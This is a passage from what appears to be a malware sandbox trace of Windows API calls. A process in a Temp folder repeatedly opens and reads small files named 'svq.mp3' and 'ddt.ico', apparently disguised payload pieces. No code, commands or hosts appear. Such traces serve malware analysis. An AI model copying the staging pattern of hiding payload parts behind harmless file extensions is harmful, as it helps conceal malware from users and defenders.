liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.662] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.662] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.662] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.662] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.662] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.662] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.662] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.663] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.663] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.663] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.663] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.663] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.663] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.663] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.663] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.663] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.663] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.663] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.664] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.664] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.664] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.664] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.664] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.664] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.664] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.664] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.665] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.665] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.665] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.665] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.665] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.665] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.665] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.665] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.665] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.665] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.666] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.666] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.666] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.666] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.666] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.666] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.666] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.666] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.666] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.666] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.667] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.667] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.667] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.667] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.667] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.667] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.667] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.667] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.667] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.667] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.667] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.668] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.668] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.668] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.668] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.668] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.668] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.668] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.668] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.669] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.669] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.669] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.669] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.669] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.669] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.669] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.669] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.669] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.670] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.670] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.670] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.670] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.670] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.670] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.670] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.670] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.670] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.670] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.671] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.671] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.671] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.671] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.671] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.671] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.671] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.671] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.671] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.671] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.672] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.672] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.672] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.672] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.672] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.672] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.672] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 